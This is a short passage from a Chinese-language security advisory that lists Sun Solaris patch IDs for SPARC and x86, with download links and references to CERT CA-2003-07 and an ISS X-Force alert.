ftp://patches.sgi.com/support/free/security/patches/

Sun提供如下补丁:

SPARC Platform

* Solaris 2.6 patch 105395-08
* Solaris 7   patch 107684-08
* Solaris 8   patch 110615-08
* Solaris 9   patch 113575-03

x86 Platform

* Solaris 2.6 patch 105396-08
* Solaris 7   patch 107685-08
* Solaris 8   patch 110616-08
* Solaris 9   patch 114137-02

您可以使用下列链接来下载相应补丁:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h
  

其他用户请参看供应商信息。

相关信息
参考:http://www.cert.org/advisories/CA-2003-07.html
http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21950